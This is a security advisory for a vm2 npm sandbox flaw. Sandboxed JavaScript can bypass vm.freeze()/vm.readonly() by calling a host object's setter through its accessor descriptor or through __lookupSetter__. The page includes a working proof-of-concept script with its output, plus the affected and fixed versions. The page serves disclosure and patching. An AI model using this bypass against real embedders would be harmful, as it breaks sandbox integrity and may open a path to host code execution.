CVE-2026-92949: vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
Summary Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties".
Published Oct 1, 2026
Affected packages
vm2
- Ecosystem
- npm
- Affected
- >= 3.9.6, <= 3.11.6
- Fixed in
- 3.11.7
- Check
npm ls vm2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.
PoC
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level); // → "PWNED-2"node poc.jsObserved output:
after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().
Impact
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).
Credited to oran-s.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-633r-hq9m-c4ff
- https://nvd.nist.gov/vuln/detail/CVE-2026-92949
- https://github.com/patriksimek/vm2/commit/d6ef73bd46488102dae8f4bc35f3f3c0eba2ea64
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-3.9.6-before-3.11.7-sandbox-bypass-via-accessor-descriptor
- https://github.com/advisories/GHSA-633r-hq9m-c4ff
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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